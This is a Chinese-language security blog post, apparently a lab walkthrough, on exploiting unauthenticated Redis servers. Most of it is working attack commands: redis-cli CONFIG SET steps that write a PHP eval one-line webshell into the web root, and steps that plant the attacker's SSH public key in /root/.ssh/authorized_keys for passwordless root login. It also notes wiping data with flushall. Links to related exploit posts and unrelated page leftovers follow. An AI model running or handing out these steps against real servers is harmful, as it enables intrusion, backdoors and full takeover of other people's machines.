0x01 什么是Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

  漏洞的危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

0x02 利用Redis写Webshell

  • 利用前提:

  1. l  靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  2. l  开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

1.通过phpinfo页面或者其他方法获取Redis服务器网站的根目录

得到服务器网站的根目录是:/var/www/html

2. 通过redis-cli与Redis服务端进行连接,通过Redis未授权直接连接Redis服务端

root@ubuntu:~# redis-cli -h 192.168.5.57

利用前面我们已经得知的网站根目录开始利用Redis写Webshell(一句话木马)

config set dir /var/www/html

config set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save

连接shell

0x02 利用"公私钥"认证获取root权限,ssh免密登陆目标服务器

1、 在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空

root@ubuntu:~# ssh-keygen -t rsa

2、 进入/root/.ssh目录:  cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)

root@ubuntu:~# cd /root/.ssh/
root@ubuntu:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > .txt
root@ubuntu:~/.ssh# ls -a
. .. .txt id_rsa id_rsa.pub known_hosts

3、 链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

 cat .txt | redis-cli -h 10.10.10.135 -x set crack

4、 通过客户端远程登陆目标靶机的Redis服务,并使用 CONFIG GET dir 命令得到Redis备份的路径

redis-cli -h 10.10.10.135

CONFIG GET dir

5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

config set dir /root/.ssh

6、 设置上传公钥的备份文件名字为authorized_keys

CONFIG SET dbfilename authorized_keys

7、 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出

CONFIG GET dbfilename

save

exit

8、 在攻击机上使用SSH免密登录靶机

ssh -i id_rsa root@x.x.xx

最后成功root权限登陆目标系统

 

 

Redis未授权访问写Webshell和公私钥认证获取root权限的更多相关文章

  1. ssrf对redis未授权访问写webshell

    docker建立redis镜像 docker run -d -p 9999:6379 redis 将redis的6379端口映射到物理机的9999端口 使用工具生成攻击代码 攻击 进入容器查看

  2. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  3. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  4. Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...

  5. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  6. redis未授权访问简单总结

    redis环境搭建 下载有漏洞的redis版本 wget http://download.redis.io/releases/redis-3.2.11.tar.gz 编译文件 make 进入src目录 ...

  7. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  8. redis未授权访问getshell

    redis未授权访问的问题一年前就爆了,当时刚开始学安全,还不太懂.今天借着工作的机会来搞一把,看看能不能拿下一台服务器.其实前几天就写好了一直想找个实际环境复现一下,一直没有找到,只说下大致思路. ...

  9. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

随机推荐

  1. Django-开放静态资源-获取请求携带的数据-pychram连接数据库-修改Django默认数据库-DjangoORM操作--表管理-记录管理-01

    目录 关于静态资源访问 为什么要配置静态文件才能获取静态资源 常见的静态文件种类 如何配置来开启访问权限 禁用浏览器缓存 django的自动重启机制(热启动) 静态文件接口动态解析 向服务器发送数据 ...

  2. 行内元素有哪些?块级元素有哪些?空(void)元素有哪些?

    CSS规范规定,每个元素都有display属性,确定该元素的类型.每个元素都有默认的display值,如div的display默认值为“block”,则为“块级”元素:span默认display属性值 ...

  3. 5.Sentinel源码分析—Sentinel如何实现自适应限流?

    Sentinel源码解析系列: 1.Sentinel源码分析-FlowRuleManager加载规则做了什么? 2. Sentinel源码分析-Sentinel是如何进行流量统计的? 3. Senti ...

  4. Oracle SQL调优之绑定变量用法简介

    目录 一.SQL执行过程简介 二.绑定变量典型用法 2.1.在SQL中绑定变量 2.2.在PL/SQL中使用绑定变量 2.3.PL/SQL批量绑定变量 2.4.Java代码里使用绑定变量 最近在看&l ...

  5. Python--使用四种随机方法(Random)来产生随机价格

    import random # 卖橘子的计算器:写一段代码,提示用户输入橘子的价格,# 然后随机生成购买的斤数(5到10斤之间),最后计算出应该支付的金额! # 第一种# orange_price = ...

  6. charles 禁用缓存

    本文参考:charles 禁用缓存 No caching Settings/无缓存工具的用法 弹窗面板上一句话概括了他的工作原理:通过修改请求和响应头来防止缓存; 无缓存工具 无缓存工具阻止客户端应用 ...

  7. Java第二次作业第一题

    编写图形界面程序,在窗体中设置菜单栏,在菜单栏上添加"file"菜单,在文件菜单中添加"new"和"quit"两个菜单项,其中"q ...

  8. Android Studio 3.1.3填坑之路

      昨天编写程序的时候,遇到了一个非常令人头疼的BUG,如下图:   标题栏和里面的内容都消失了,这对于一个非常在乎排版的软件来说简直就是晴空霹雳,搞了好长时间,终于在今天找到解决方法,原来是升级搞的 ...

  9. Linux 笔记 - 前三章 CentOS 简介、安装和远程连接

    博客地址:http://www.moonxy.com 一.Unix 和 Linux 的区别 目前主流的 Unix 系统有三种,分别是 IBM-AIX.HP-UX.SUN-Solaris,它们分别运行在 ...

  10. NestedInteger Java

    ''' class NestedInteger { private List list; private Integer integer; public NestedInteger(List<N ...